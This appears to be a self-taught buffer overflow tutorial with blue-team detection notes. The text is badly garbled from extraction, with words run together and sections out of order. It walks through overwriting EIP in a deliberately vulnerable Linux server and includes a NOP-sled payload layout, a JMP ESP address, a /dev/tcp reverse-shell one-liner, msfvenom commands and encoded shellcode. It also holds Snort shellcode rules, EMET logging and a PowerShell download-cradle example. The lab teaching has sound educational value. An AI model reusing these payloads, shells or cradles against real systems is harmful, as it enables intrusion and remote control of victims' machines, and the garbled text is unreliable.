the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our

NOPSletsruntheattackwiththefollowinglogicintheclientpy

MESSAGE=x901040+x454+x901000

Letrsquosswitchsomethingsupandtryanewdebuggerhellip

1 Server1337

2 Fromterminal2rarredb

3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo

4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)

5 UpdateyourclientPoCcode

6 pythonclientPoCpy1337

CodeChanges

malware=(x41100)

eip=x424

ending=x90200

nopsled=(x90(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly

Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand

corner

Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points

to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At

memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware

Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump

intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor

aJMPESPopcodetofindamemorylocationwiththatinstruction

1 runthevulnerableserver

2 startupedbdebuggerandattackthevulnerableserver

3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP

4 Manuallysearchthrougheachloadedbinaryandclicksearch

0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU

tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder

So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the

futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun

Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow

binsh-igtampdevtcp12700144440gtamp1

Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in

one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It

lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)

The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate

a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and

not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there

isanaddedlayerofcomplexity

LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes

ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs

NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general

sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as

register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often

abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine

codeinstructionsrdquo

So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But

when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing

the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work

helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos

So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters

commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it

any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the

registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip

PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip

binsh-igtampdevtcp12700144440gtamp1

encodesto

x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x

2fx34x34x34x34x20x30x3ex26x31

Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly

from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a

simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX

To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86

encodedcommandthatthekernelcaninterpret

binsh-igtampdevtcp12700144440gtamp1

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

x86encodedShellCode

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01

xd8x7dxf3xdcx9b

TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully

understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally

worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders

- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform

- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina

singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos

ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is

malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced

- f=formathellipThatcanberawCJSPshelletcetc

- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore

- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere

Wheredoweputourmalware

While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the

clientpyscriptputtingthemalwarebeforeEIPlookslikethis

NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS

Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is

important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left

manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior

because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory

address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and

unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto

HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow

malware=x41x30

eip=x97xcfxfaxb7

eip=x41x41x41x41

ending=x90200

nopsled=(x41(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then

look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote

with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register

pointertojumpintothenopsled

One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that

specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that

can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out

bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo

for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell

codeaftertheEIPsowecanjumpintoESP

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip

x86encodedShellCodewBadCharacters(Fornextsection)

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01

xd8x7dxf3xdcx9bx00x00

Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade

UpdatedclientpyCodewiththeldquoBadCharactercoderdquo

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

